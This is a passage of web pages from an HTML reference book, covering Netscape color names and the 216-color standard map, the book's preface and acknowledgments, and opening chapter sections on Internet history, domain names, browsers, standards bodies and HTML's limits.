Those colors marked with an asterisk (*) actually represent a family of colors numbered one through four. Thus, there are actually four variants of blue, named "blue1," "blue2," "blue3," and "blue4," along with plain old "blue." Blue1 is the lightest of the four; blue4 the darkest. The unnumbered color name is the same color as the first; thus, blue and blue1 are identical.

Finally, if all that isn't enough, there are one hundred variants of gray (and grey) numbered 1 through 100. "Gray1" is the darkest, "gray100" is the lightest, and "gray" is very close to "gray75."

The Netscape-supported colors are:

aliceblue | darkturquoise | lightseagreen | palevioletred*
antiquewhite* | darkviolet | lightskyblue* | papayawhip
aquamarine* | deeppink* | lightslateblue | peachpuff*
azure* | deepskyblue* | lightslategray | peru
beige | dimgray | lightsteelblue* | pink*
bisque* | dodgerblue* | lightyellow* | plum*
black | firebrick* | limegreen | powderblue
blanchedalmond | floralwhite | linen | purple*
blue* | forestgreen | magenta* | red*
blueviolet | gainsboro | maroon* | rosybrown*
brown* | ghostwhite | mediumaquamarine | royalblue*
burlywood* | gold* | mediumblue | saddlebrown
cadetblue* | goldenrod* | mediumorchid* | salmon*
chartreuse* | gray | mediumpurple* | sandybrown
chocolate* | green* | mediumseagreen | seagreen*
coral* | greenyellow | mediumslateblue | seashell*
cornflowerblue | honeydew* | mediumspringgreen | sienna*
cornsilk* | hotpink* | mediumturquoise | skyblue*
cyan* | indianred* | mediumvioletred | slateblue*
darkblue | ivory* | midnightblue | slategray*
darkcyan | khaki* | mintcream | snow*
darkgoldenrod* | lavender | mistyrose* | springgreen*
darkgray | lavenderblush* | moccasin | steelblue*
darkgreen | lawngreen | navajowhite* | tan*
darkkhaki | lemonchiffon* | navy | thistle*
darkmagenta | lightblue* | navyblue | tomato*
darkolivegreen* | lightcoral | oldlace | turquoise*
darkorange* | lightcyan* | olivedrab* | violet
darkorchid* | lightgoldenrod* | orange* | violetred*
darkred | lightgoldenrodyellow | orangered* | wheat*
darksalmon | lightgray | orchid* | white
darkseagreen* | lightgreen | palegoldenrod | whitesmoke
darkslateblue | lightpink* | palegreen* | yellow*
darkslategray* | lightsalmon* | paleturquoise* | yellowgreen

Previous | Home | Next
Color Values | Book Index | The Standard Color Map
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] The Standard Color Map

HTML: The Definitive Guide

Previous Appendix F
Color Names and Values

F.3 The Standard Color Map

Supporting hundreds of color names and millions of RGB triples is nice, but the reality is that the majority of users can only display 256 colors on their system. When confronted with a color not defined in this set of 256, the browser has two choices: convert the color to one of the existing colors, or dither the color using the available colors in the color map.

Conversion is easy; the color is compared to all the other colors in the color map and is replaced by the closest color found. Dithering is more difficult. Using two or more colors in the color map, the errant color is approximated by mixing different ratios of the available colors. Viewed up close, you'll see a pattern of alternating pixels using the available colors. At a distance, the pixels blend to form a color close to the original color.

In general, your images will look best if you can avoid both conversion and dithering. Conversion will make your colors appear "off"; dithering makes them look fuzzy. How to avoid these problems? Easy: use colors in the standard color map when creating your images.

The standard color map actually has 216 values in it. There are six variants of red, six of green, and six of blue that are combined in all possible ways to create these 216 (6 x 6 x 6) colors. These variants have decimal brightness values of 0, 51, 102, 153, 204, and 255, corresponding to hexadecimal values of 00, 33, 66, 99, CC, and FF. Colors like 003333 (dark cyan) and 999999 (medium gray) exist directly in the color map and won't be converted or dithered.

Keep in mind that many of Netscape's extended color names are not in the standard color map and will be converted or dithered to a (hopefully) similar color. Using color names, while convenient, does not guarantee that the desired color will be used by the browser.

When creating images, try to use colors in the standard color map. When selecting colors for text, links, or backgrounds, make sure you select colors in the standard color map. Your pages will look better and will be more consistent when viewed with different browsers.

Previous | Home
Color Names | Book Index
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


Preface

Contents:
Our Audience
Text Conventions
Is HTML 3.2 Really a Big Deal?
We'd Like to Hear From You
Acknowledgments

Learning Hypertext Markup Language--most commonly known by its acronym, HTML--is like learning any new language, computer or human. Most students first immerse themselves in examples. Think how adept you'd become if Mom, Dad, your brothers, and sisters all spoke fluent HTML. Studying others is a natural way to learn, making learning easy and fun. Our advice to anyone wanting to learn HTML is to get out there on the World Wide Web with a suitable browser and see for yourself what looks good, what's effective, what works for you. Examine others' HTML source files and ponder the possibilities. Mimicry is how many of the current webmasters have learned the language.

Imitation can take you only so far, though. Examples can be both good and bad. Learning by example will help you talk the talk, but not walk the walk. To become truly conversant, you must learn how to use the language appropriately in many different situations. You could learn that by example, if you live long enough.

Remember, too, that computer-based languages are more explicit than human languages. You've got to get the HTML syntax correct, or it won't work. Then, too, there is the problem of "standards." Committees of academics and industry experts try to define the proper syntax and usage of a computer language like HTML. The problem is that HTML browser manufacturers like Netscape and Microsoft choose what parts of the standard they will use and which parts they will ignore. They even make up their own parts, which may eventually become standards.

To be safe, the better way to become fluent in HTML is through a comprehensive language reference: a resource that covers the language syntax, semantics, and variations in detail, and helps you distinguish between good and bad usage.

There's one more step leading to fluency in a language. To become a true master of HTML, you need to develop your own style. That means knowing not only what is appropriate, but what is effective. Layout matters. A lot. So does the order of presentation within a document, between documents, and between document collections.

Our goal in writing this book is to help you become fluent in HTML, fully versed in the language's syntax, semantics, and elements of style. We take the natural learning approach with examples: good ones, of course. We cover every element of the currently accepted version (3.2) of the language in detail, as well as all of the current "extensions" supported by the popular HTML browsers, explaining how each element works and how it interacts with all the other elements.

And, with all due respect to Strunk and White, throughout the book we give you suggestions for style and composition to help you decide how best to use the language and accomplish a variety of tasks, from simple online documentation to complex marketing and sales presentations. We'll show you what works and what doesn't; what makes sense to those who view your pages, and what might be confusing.

In short, this book is a complete guide to creating documents using HTML, starting with basic syntax and semantics, and finishing with broad style directions that should help you create beautiful, informative, accessible documents that you'll be proud to deliver to your browsers.

Our Audience

We wrote this book for anyone interested in learning and using HTML, from the most casual user to the full-time design professional. We don't expect you to have any experience in the language before picking up this book. In fact, we don't even expect that you've ever browsed the World Wide Web, although we'd be surprised if you haven't at least experimented with this technology. Being connected to the Internet is not necessary to use this book, but if you're not connected, this book becomes like a travel guide for the homebound.

The only things we ask you to have are a computer, a text editor that can create simple ASCII text files, and copies of the latest, leading World Wide Web browsers--Netscape and Internet Explorer. Because HTML is stored in a universally accepted format--ASCII text--and because the language is completely independent of any specific computer, we won't even make an assumption about the kind of computer you're using. However, browsers do vary by platform and operating system, which means your HTML documents can and often do look quite different depending on the computer and version of browser. We will explain how certain language features are used by various popular browsers as we go through the book, paying particular attention to how they are different.

If you are new to HTML, the World Wide Web, or hypertext documentation in general, you should start by reading Chapter 1, HTML and the World Wide Web. In it, we describe how all the World Wide Web technologies come together to create webs of interrelated documents.

If you are already familiar with the Web, but not HTML specifically, or if you are interested in the new features in HTML, start by reading Chapter 2, HTML Quick Start. This chapter is a brief overview of the most important features of the language and serves as a roadmap to how we approach the language in the remainder of the book.

Subsequent chapters deal with specific language features in a roughly top-down approach to HTML. Read them in order for a complete tour through the language, or jump around to find the exact feature you're interested in.

Home | Next
Book Index | Text Conventions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Text Conventions

HTML: The Definitive Guide

Previous Preface Next

Text Conventions

Throughout the book, we use a constant-width typeface to highlight any literal element of the HTML standard, and tags and attributes. We always use lowercase letters for HTML tags. (Although the language standard is case-insensitive with regard to tag and attribute names, this isn't so for other elements like source filenames, so be careful.) We use italic to indicate new concepts when they are defined and those elements you need to supply when creating your own documents, such as tag attributes or user-defined strings.

We discuss elements of the language throughout the book, but you'll find each one covered in depth (some might say nauseating detail) in a shorthand, quick-reference definition box that looks like the box on the following page.

<html>
Function:

Delimits a complete HTML document

Attributes:

VERSION

End tag:

</html>; may be omitted

Contains:

head_tag, body_tag, frames

Used in:

HTML documents

The first line of the box contains the element name, followed by a brief description of its function. Next, we list the various attributes, if any, of the element: those things that you may or must specify as part of the element.

We use the following symbols to identify tags and attributes that are not in the HTML 3.2 standard (the last official version), but are additions to the language:

(Netscape)

Netscape Navigator extension to the standard

(Internet Explorer)

Internet Explorer extension to the standard

The description also includes the ending tag, if any, for the tag, along with a general indication if the end tag may be safely omitted in general use.

"Contains" names the rule in the HTML grammar that defines the elements to be placed within this tag. Similarly, "Used in" lists those rules that allow this tag as part of their content. These rules are defined in Appendix A, HTML Grammar.

Finally, HTML is a fairly "intertwined" language: You will occasionally use elements in different ways depending on context, and many elements share identical attributes. Wherever possible, we place a cross-reference in the text that leads you to a related discussion elsewhere in the book. These cross-references, like the one at the end of this paragraph, serve as a crude paper model of hypertext documentation, one that would be replaced with a true hypertext link should this book be delivered in an electronic format. [the section called "The Syntax of a Tag"]

We encourage you to follow these references whenever possible. Often, we'll only cover an attribute briefly and expect you to jump to the cross-reference for a more detailed discussion. In other cases, following the link will take you to alternative uses of the element under discussion, or to style and usage suggestions that relate to the current element.

Previous | Home | Next
Our Audience | Book Index | Is HTML 3.2 Really a Big Deal?
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Is HTML 3.2 Really a Big Deal?

HTML: The Definitive Guide

Previous Preface Next

Is HTML 3.2 Really a Big Deal?

Depending on our mood, when people ask us about the "new" HTML 3.2 standard, we respond with a groan, a bemused smile, or uproarious laughter. Folks, HTML 3.2 doesn't shake any Web foundations. In fact, the new language standard simply confirms what most Web observers have known for some time now, that the browser manufacturers wag the tail of the HTML standards dog.

Until about mid-1995, people actually were serious about HTML standards. (Some of us still are.) Until then, standards guided the development of new browsers. After release of HTML 2.0, however, the elders of the World Wide Web Consortium (W3C) responsible for such language-standards matters lost control. The abortive HTML+ standard never got off the ground, and HTML 3.0 became so bogged down in debate that the W3C simply shelved the entire draft standard. HTML 3.0 never happened, despite what some opportunistic marketers claim in their literature.

What mired the development of new language standards was Netscape Navigator. Most Web analysts agree that Netscape's quick success in becoming the browser of choice for an overwhelming majority of users can be attributed directly to the company's implementation of useful and exciting additions to HTML. Today, all other browser manufacturers--in particular, the behemoth Microsoft Corp. who appreciates the meaning of "de facto standard" better than anyone in the business--have to implement Netscape's HTML extensions if they expect to have any chance of competing in the web browser marketplace. By pushing the W3C to officially release HTML standard version 3.2, which for all intents and purposes standardizes most of Netscape's language extensions, the other browser manufacturers gain legitimacy for their products without having to acknowledge the leading competitor. Internet Explorer can now be "HTML 3.2-compliant," rather than submissively "Netscape Navigator-compliant."

The paradox is that the HTML 3.2 standard is not the definitive resource. There are many more features of the language in popular use by both Netscape and/or Internet Explorer than are included in this latest language standard. We promise you, things can get downright confusing when trying to sort it all out.

We've managed to sort things out, so you don't have to sweat over what works with what browser and what doesn't work. This book, therefore, is the definitive guide to HTML. We give details for all the elements of the HTML 3.2 standard, plus the variety of interesting and useful extensions to the language--some proposed standards--that the popular browser manufacturers have chosen to include in their products, such as:

  • Cascading Style Sheets

  • Java and JavaScript

  • Frames

  • Inline multimedia

  • Layers

  • Spacers

  • Text font size and face controls

  • Multiple columns

And while we tell you about each and every feature of the language, standard or not, we also tell you which browsers or different versions of the same browser implement a particular extension and which don't. That's critical knowledge when you want to create web pages that take advantage of the latest version of Netscape Navigator versus pages that are accessible to the larger number of people using Internet Explorer, Mosaic, or even Lynx, a popular text-only browser for UNIX systems.

In addition, there are a few things that are closely related but not directly part of HTML. For example, we touch, but do not handle CGI and Java programming. CGI and Java programs work closely with HTML documents and run with or alongside browsers, but are not part of the language itself, so we don't delve into them. Besides, they are comprehensive topics that deserve their own books, such as CGI Programming on the World Wide Web and Java in a Nutshell from O'Reilly & Associates, for instance.

In short, this book is your definitive guide to HTML as it is and should be used, including every extension we could find. Many aren't documented anywhere, even in the plethora of online guides. But, if we've missed anything, certainly let us know and we'll put it in the next edition.

Previous | Home | Next
Text Conventions | Book Index | We'd Like to Hear From You
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] We'd Like to Hear From You

HTML: The Definitive Guide

Previous Preface Next

We'd Like to Hear From You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing:

O'Reilly & Associates, Inc.
101 Morris Street Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)
1-707-829-0515 (international/local)
1-707-829-0401 (FAX)

Since the HTML standards and browser additions to the language are evolving so rapidly, some of the information in this book may be slightly out of date by the time you read it. Please check out updates and corrections at http://www.ora.com/info/html/.

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

nuts@ora.com

To ask technical questions or comment on the book, send email to:

bookquestions@ora.com

Previous | Home | Next
Is HTML 3.2 Really a Big Deal? | Book Index | Acknowledgments
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Preface] Acknowledgments

HTML: The Definitive Guide

Previous Preface Next

Acknowledgments

We did not compose, and certainly could not have composed this book without generous contributions from many people. Our wives Jeanne and Cindy (with whom we've just become reacquainted) and our young children Eva, Ethan, Courtney, and Cole (they happened before we started writing) formed the front lines of support. And there are numerous neighbors, friends, and colleagues who helped by sharing ideas, testing browsers, and letting us use their equipment to explore HTML. You know who you are, and we thank you all. (Ed Bond, we'll be over soon to repair your Windows.)

We also thank our technical reviewers, Kane Scarlett, Eric Raymond, and Chris Tacy, for carefully scrutinizing our work. We took most of your keen suggestions. And we especially thank Mike Loukides, our editor, who had to bring to bear his vast experience in book publishing to keep us two mavericks corralled.

And, finally, we thank the many people at O'Reilly & Associates who poked our words into sensibility and put them onto these pages. These folks include: Nancy Wolfe Kotary, project manager and copyeditor for the book; Mike Sierra, FrameMaker specialist; Chris Reilley, technical illustrator; Edie Freedman, cover designer; Nancy Priest, interior layout designer; Seth Maislin, indexer; Madeleine Newell, for production assistance; and John Files and Sheryl Avruch, for overall quality control. Also, thanks to all the many people at O'Reilly who worked on the first edition.

Previous | Home | Next
We'd Like to Hear From You | Book Index | HTML and the World Wide Web
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] HTML and the World Wide Web

HTML: The Definitive Guide

Previous Chapter 1 Next

1. HTML and the World Wide Web

Contents:
The Internet
Talking the Internet Talk
HTML: What It Is
HTML: What It Isn't
Nonstandard Extensions
Tools for the HTML Designer

Though it began as a military experiment and spent its adolescence as a sandbox for academics and eccentrics, recent events have transformed the worldwide network of computer networks--also known as the Internet--into a rapidly growing and wildly diversified community of computer users and information vendors. Today, you can bump into Internet users of nearly any and all nationalities, of any and all persuasions, from serious to frivolous individuals, from businesses to nonprofit organizations, and from born-again evangelists to pornographers.

In many ways, the World Wide Web--the open community of hypertext-enabled document servers and readers on the Internet--is responsible for the meteoric rise in the network's popularity. You, too, can become a valued member by contributing: writing HTML documents and making them available to web "surfers" worldwide.

Let's climb up the Internet family tree to gain some deeper insight into its magnificence, not only as an exercise of curiosity, but to help us better understand just who and what it is we are dealing with when we go online.

1.1 The Internet

Although popular media accounts often are confused and confusing, the concept of the Internet really is rather simple. It's a collection of networks--a network of networks--computers sharing digital information via a common set of networking and software protocols. Nearly anyone can connect their computer to the Internet and immediately communicate with other computers and users on the Net.

What is confusing about the Internet is that it can be like an oriental bazaar: it's not well organized, there are few content guides, and it can take a lot of time and technical expertise to tap its full potential.

That's because...

In the Beginning

The Internet began in the late 1960s as an experiment in the design of robust computer networks. The goal was to construct a network of computers that could withstand the loss of several machines without compromising the ability of the remaining ones to communicate. Funding came from the U.S. Department of Defense, which had a vested interest in building information networks that could withstand nuclear attack.

The resulting network was a marvelous technical success, but was limited in size and scope. For the most part, only defense contractors and academic institutions could gain access to what was then known as the ARPAnet (Advanced Research Projects Agency network of the Department of Defense).

With the advent of high-speed modems for digital communication over common phone lines, some individuals and organizations not directly tied to the main digital pipelines began connecting and taking advantage of the network's advanced and global communications. Nonetheless, it wasn't until these last few years (around 1993, actually) that the Internet really took off.

Several crucial events led to the meteoric rise in popularity of the Internet. First, in the early 1990s, businesses and individuals eager to take advantage of the ease and power of global digital communications finally pressured the largest computer networks on the mostly U.S. government-funded Internet to open their systems for nearly unrestricted traffic. (Remember, the network wasn't designed to route information based on content--meaning that commercial messages went through university computers that at the time forbade such activity.)

True to their academic traditions of free exchange and sharing, many of the original Internet members continued to make substantial portions of their electronic collections of documents and software available to the newcomers--free for the taking! Global communications, a wealth of free software and information: who could resist?

Well, frankly, the Internet was a tough row to hoe back then. Getting connected and using the various software tools, if they were even available for their computers, presented an insurmountable technology barrier for most people. And most available information was plain-vanilla ASCII about academic subjects, not the neatly packaged fare that attracts users to the online services, such as America Online, Prodigy, or CompuServe. The Internet was just too disorganized and, outside of the government and academia, few people had the knowledge or interest to learn how to use the arcane software or had the time to spend rummaging through documents looking for ones of interest.

HTML and the World Wide Web

It took another spark to light the Internet rocket. At about the same time the Internet opened up for business, some physicists at CERN, the European Particle Physics Laboratory, released an authoring language and distribution system they developed for creating and sharing multimedia-enabled, integrated electronic documents over the Internet. And so was born Hypertext Markup Language (HTML), browser software, and the World Wide Web. No longer did authors have to distribute their work as fragmented collections of pictures, sounds, and text. HTML unified those elements. Moreover, the World Wide Web's systems enabled hypertext linking, whereby documents automatically reference other documents, located anywhere around the world: less rummaging, more productive time online.

Lift-off happened when some bright students and faculty at the National Center for Supercomputing Applications (NCSA) at the University of Illinois, Urbana-Champaign wrote a web browser called Mosaic. Although designed primarily for viewing HTML documents, the software also had built-in tools to access the much more prolific resources on the Internet, such as FTP archives of software and Gopher-organized collections of documents.

With versions based on easy-to-use graphical-user interfaces familiar to most computer owners, Mosaic became an instant success. It, like most Internet software, was available on the Net for free.[1] Millions of users snatched up a copy and began surfing the Internet for "cool web pages."

[1] Not all browsers are free, nor are all browsers free to everyone. Various client browser and server software is commercially available, including documentation and support. Internet "bundled" software sold through mail order or retail often contains a licensed copy of one of the popular browsers like Netscape or Internet Explorer, possibly customized for the package. Moreover, the browsers available for download over the Internet typically contain licensing agreements which stipulate that the software is free only for use by non-profit organizations.

Golden Threads

There you have the history of the Internet and the World Wide Web in a nutshell: from rags to riches in just two short years. The Internet has spawned an entirely new medium for worldwide information exchange and commerce, and its pioneers are profiting well. For instance, when the marketers caught on to the fact that they could cheaply produce and deliver eye-catching, wow-and-whizbang commercials and product catalogs to those millions of Web surfers around the world, there was no stopping the stampede of blue suede shoes. Even the key developers of Mosaic and related web server technologies sensed potential riches. They left NCSA and formed Netscape Communications to produce the Netscape Navigator browser and web server software that is useful for Internet commercial activity.

Business users and marketing opportunities have helped invigorate the Internet and fuel its phenomenal growth, particularly on the World Wide Web. According to a recent marketing survey by ActivMedia, Inc. (Peterborough, NH), over half of Internet enterprises become profitable within a year of launch! But do not forget that the Internet is first and foremost a place for social interaction and information sharing, not a strip mall or direct advertising medium. Internet users, particularly the old-timers, adhere to commonly held, but not formally codified, rules of netiquette that prohibit such things as "spamming" special-interest newsgroups with messages unrelated to the topic at hand or sending unsolicited email. And there are millions of users ready to remind you of those rules should you inadvertently or intentionally ignore them.

And, certainly, the power of HTML and network distribution of information go well beyond marketing and monetary rewards: serious informational pursuits also benefit. Publications, complete with images and other media like executable software, can get to their intended audience in a blink of an eye, instead of the months traditionally required for printing and mail delivery. Education takes a great leap forward when students gain access to the great libraries of the world. And at times of leisure, the interactive capabilities of HTML links can reinvigorate our otherwise television-numbed minds.

Previous | Home | Next
Acknowledgments | Book Index | Talking the Internet Talk
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.2 Talking the Internet Talk

HTML: The Definitive Guide

Previous Chapter 1
HTML and the World Wide Web 		Next

1.2 Talking the Internet Talk

Every computer connected to the Internet (even a beat-up old Apple II) has a unique address: a number whose format is defined by the Internet Protocol (IP), the standard that defines how messages are passed from one machine to another on the Net. An IP address is made up of four numbers, each less than 255, joined together by periods, such as 192.12.248.73 or 131.58.97.254.

While computers deal only with numbers, people prefer names. For this reason, each computer on the Internet also has a name bestowed upon it by its owner. There are several million machines on the Net, so it would be very difficult to come up with that many unique names, let alone keep track of them all. Recall, though, that the Internet is a network of networks. It is divided into groups known as domains, which are further divided into one or more subdomains. So, while you might choose a very common name for your computer, it becomes unique when you append, like surnames, all of the machine's domain names as a period-separated suffix, creating a fully qualified domain name.

This naming stuff is easier than it sounds. For example, the fully qualified domain name www.ora.com translates to a machine named "www" that's part of the domain known as "ora," which, in turn, is part of the commercial (com) branch of the Internet. Other branches of the Internet include educational (edu) institutions, nonprofit organizations (org), U.S. government (gov), and Internet service providers (net). Computers and networks outside the United States have a two-letter abbreviation at the end of their names: for example, "ca" for Canada, "jp" for Japan, and "uk" for the United Kingdom.

Special computers, known as name servers, keep tables of machine names and their associated unique IP numerical addresses, and translate one into the other for us and for our machines. Domain names must be registered with the nonprofit organization InterNIC. Once registered, the owner of the domain name broadcasts it and its address to other domain name servers around the world. Each domain and subdomain has an associated name server, so ultimately every machine is known uniquely by both a name and an IP address.

Clients, Servers, and Browsers

The Internet connects two kinds of computers: servers, which serve up documents, and clients, which retrieve and display documents for us humans. Things that happen on the server machine are said to be on the server side, while activities on the client machine occur on the client side.

To access and display HTML documents, we run programs called browsers on our client computers. These browser clients talk to special web servers over the Internet to access and retrieve electronic documents.

Several Web browsers are available--most are free--each offering a different set of features. For example, browsers like Lynx run on character-based clients and display documents only as text. Others run on clients with graphical displays and render documents using proportional fonts and color graphics on a 1024 x 768, 24-bit-per-pixel display. Others still--Netscape Navigator, Microsoft's Internet Explorer, NCSA Mosaic, Netcom's WebCruiser, and InterCon's NetShark, to name a few--have special features that allow you to retrieve and display a variety of electronic documents over the Internet, including audio and video multimedia.

The Flow of Information

All web activity begins on the client side, when a user starts their browser. The browser begins by loading a home page HTML document from either local storage or from a server over some network, such as the Internet. In the latter case, the client browser first consults a domain name server to translate the home page document server's name, such as www.ora.com, into an IP address, before sending a request to that server over the Internet. This request (and the server's reply) is formatted according to the dictates of the HyperText Transfer Protocol(HTTP) standard.

A server spends most of its time listening to the Internet, waiting for document requests with the server's unique address stamped on it. Upon receipt, the server verifies that the requesting browser is allowed to retrieve documents from the server and, if so, checks for the requested document. If found, the server sends (downloads) the document to the browser. The server usually logs the request, the client computer's name, document requested, and the time.

Back on the browser, the document arrives. If it's a plain-vanilla ASCII text file, most browsers display it in a common, plain-vanilla way. Document directories, too, are treated like plain documents, although most graphical browsers will display folder icons, which the user can select with the mouse to download the contents of subdirectories.

Browsers also retrieve binary files from a server. Unless assisted by a helper program or specially enabled by plug-in software or applets, which display an image or video file or play an audio file, the browser usually stores downloaded binary files directly on a local disk for later attention by the user.

For the most part, however, the browser retrieves a special document that appears to be a plain text file, but contains both text and special markup codes called tags. The browser processes these HTML documents, formatting the text based upon the tags and downloading special accessory files, such as images.

The user reads the document, selects a hyperlink to another document, and the entire process starts over.

Beneath the World Wide Web

We should point out at this juncture that browsers and HTTP servers need not be part of the Internet's World Wide Web to function. In fact, you never need to be connected to the Internet, or to any network for that matter, to write HTML documents and operate a browser. You can load up and display on your client browser locally stored HTML documents and accessory files directly. This isolation is good: it gives you the opportunity to finish, in the editorial sense of the word, a document collection for later distribution. Diligent HTML authors work locally to write and proof their documents before releasing them for general distribution, thereby sparing readers the agonies of broken image files and bogus hyperlinks.[2]

[2] Vigorous testing of the HTML documents once they are made available on the Web is, of course, also highly recommended and necessary to rid them of various linking bugs.

Organizations, too, can be connected to the Internet and the World Wide Web, but also maintain private webs and HTML document collections for distribution to clients on their local network, or intranet. In fact, private webs are fast becoming the technology of choice for the paperless offices we've heard so much about these last few years. With HTML document collections, businesses and other enterprises can maintain personnel databases, complete with employee photographs and online handbooks, collections of blueprints, parts, and assembly manuals, and so on--all readily and easily accessed electronically by authorized users and displayed on a local computer.

Previous | Home | Next
The Internet | Book Index | HTML: What It Is
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.3 HTML: What It Is

HTML: The Definitive Guide

Previous Chapter 1
HTML and the World Wide Web 		Next

1.3 HTML: What It Is

HTML is a document-layout and hyperlink-specification language. It defines the syntax and placement of special, embedded directions that aren't displayed by the browser, but tell it how to display the contents of the document, including text, images, and other support media. The language also tells you how to make a document interactive through special hypertext links, which connect your document with other documents--on either your computer or someone else's, as well as with other Internet resources, like FTP and Gopher.

HTML Standards and Extensions

The basic syntax and semantics of HTML are defined in the HTML standard, currently Version 3.2. HTML is a young language, barely five years old, but already in its third iteration. Don't be too surprised if another version appears before you finish reading this book. Given the pace of these standards matters, one never knows when or if a new standard version will come to fruition.

Browser developers rely upon the HTML standard to program the software that formats and displays common HTML documents. Authors use the standard to make sure they are writing effective, correct HTML documents. Nonetheless, commercial forces have pushed developers to add into their browsers--Netscape Navigator and Internet Explorer, in particular--nonstandard extensions meant to improve the language. Many times, these extensions are implementations of future standards still under debate. Extensions can foretell future standards because so many people use them.

In this book, we explore in detail the syntax, semantics, and idioms of HTML 3.2, along with the many important extensions that are supported in the latest versions of the most popular browsers, so that any aspiring HTML author can create fabulous documents with a minimum of effort.

Standards Organizations

Like many popular technologies, HTML started out as an informal specification used by only a few people. As more and more authors began to use the language, it became obvious that more formal means were needed to define and manage--to standardize--HTML's features, making it easier for everyone to create and share documents.

The World Wide Web Consortium

The World Wide Web Consortium (W3C) was formed with the charter to define the standard versions of HTML. Members are responsible for drafting, circulating for review, and modifying the standard based on cross-Internet feedback to best meet the needs of the many.

Beyond HTML, the W3C has the broader responsibility of standardizing any technology related to the World Wide Web; they manage the HTTP standard, as well as related standards for document addressing on the Web. And they solicit draft standards for extensions to existing Web technologies, such as internationalization of the HTML standard.

If you want to track HTML development and related technologies, contact the W3C at http://www.w3.org/. Several Internet newsgroups are devoted to the Web, each a part of the comp.infosystems.www hierarchy. These include comp.infosystems.www.authoring.html and comp.infosystems.www.authoring.images.

The Internet Engineering Task Force

Even broader in reach than W3C, the Internet Engineering Task Force (IETF) is responsible for defining and managing every aspect of Internet technology. The World Wide Web is just one small part under the purview of the IETF.

The IETF defines all of the technology of the Internet via official documents known as Requests For Comment, or RFCs. Individually numbered for easy reference, each RFC addresses a specific Internet technology--everything from the syntax of domain names and the allocation of IP addresses to the format of electronic mail messages.

To learn more about the IETF and follow the progress of various RFCs as they are circulated for review and revision, visit the IETF home page, http://www.ietf.org/.

Previous | Home | Next
Talking the Internet Talk | Book Index | HTML: What It Isn't
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.4 HTML: What It Isn't

HTML: The Definitive Guide

Previous Chapter 1
HTML and the World Wide Web 		Next

1.4 HTML: What It Isn't

With all its multimedia-enabling, new page layout features, and the hot technologies that give life to HTML documents over the Internet, it is also important to understand the language's limitations: HTML is not a word processing tool, a desktop publishing solution, or even a programming language, for that matter. That's because its fundamental purpose is to define the structure and appearance of documents and document families so that they might be delivered quickly and easily to a user over a network for rendering on a variety of display devices. Jack of all trades, but master of none, so to speak.

Content Versus Appearance

Before you can fully appreciate the power of the language and begin creating effective HTML documents, you must yield to its one fundamental rule: HTML is designed to structure documents and make their content more accessible, not to format documents for display purposes.

HTML does provide many different ways to let you define the appearance of your documents: font specifications, line breaks, and preformatted text are all features of the language. And, of course, appearance is important, since it can have either detrimental or beneficial effects on how users access and use the information in your HTML documents.

But with HTML, content is paramount; appearance is secondary, particularly since it is less predictable given the variety of browser graphics and text-formatting capabilities. Besides, HTML contains many more ways for structuring your document content without regard to the final appearance: section headers, structured lists, paragraphs, rules, titles, and embedded images are all defined by HTML without regard for how these elements might be rendered by a browser.

If you treat HTML as a document-generation tool, you will be sorely disappointed in your ability to format your document in a specific way. There is simply not enough capability built into HTML to allow you to create the kind of documents you might whip up with tools like FrameMaker or Microsoft Word. Attempts to subvert the supplied structuring elements to achieve specific formatting tricks seldom work across all browsers. In short, don't waste your time trying to force HTML to do things it was never designed to do.

Instead, use HTML in the manner for which it was designed: indicating the structure of a document so that the browser can then render its content appropriately. HTML is rife with tags that let you indicate the semantics of your document content, something that is missing from tools like Frame or Word. Create your documents using these tags and you'll be happier, your documents will look better, and your readers will benefit immensely.

Specific Limitations of HTML

There are limits to the kinds of formatting and document structuring HTML can provide. Extensions to the language remove some of the restrictions imposed by HTML 3.2; other limitations linger.

Specifically, the features that do not exist in the HTML 3.2 standard, but are made possible by extensions implemented by the various browser manufacturers and are generally considered part of HTML 3.2, include:

  • Framed document layout

  • Scripted dynamic documents

  • Moving and layered text

  • Absolute text and image positioning

Those niceties that just aren't available in any standard version of HTML are:

  • Footnotes, end notes, automatic tables of contents, or indexes

  • Headers and footers

  • Tabs and other automatic character spacing

  • Nested numbered lists

  • Mathematical typesetting

Yielding to the Browser

Many novice HTML authors try to get around these limitations by taking careful note of how their browser displays the contents of certain tags and then misusing those tags to achieve formatting tricks. For example, some authors nest certain kinds of lists several levels deep, not because they are actually creating deeply nested lists, but because they want their text specially indented.

There are many different browsers running on many different computers and they all do things differently. Even two different users using the same browser version on their machines can reconfigure the software so that the same HTML document will look completely different. What looks fabulous on your personal browser can and often does look terrible on other browsers.

Yield to the browser. Let it format your document in whatever way it deems best. Recognize that the browser's job is to present your documents to the user in a consistent, usable way. Your job, in turn, is to use HTML effectively to mark up your documents so that the browser can do its job effectively. Spend less time trying to achieve format-oriented goals. Instead, focus your efforts on creating the actual document content and adding the HTML tags to structure that content effectively.

Previous | Home | Next
HTML: What It Is | Book Index | Nonstandard Extensions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 1] 1.5 Nonstandard Extensions

HTML: The Definitive Guide

Previous Chapter 1
HTML and the World Wide Web 		Next

1.5 Nonstandard Extensions

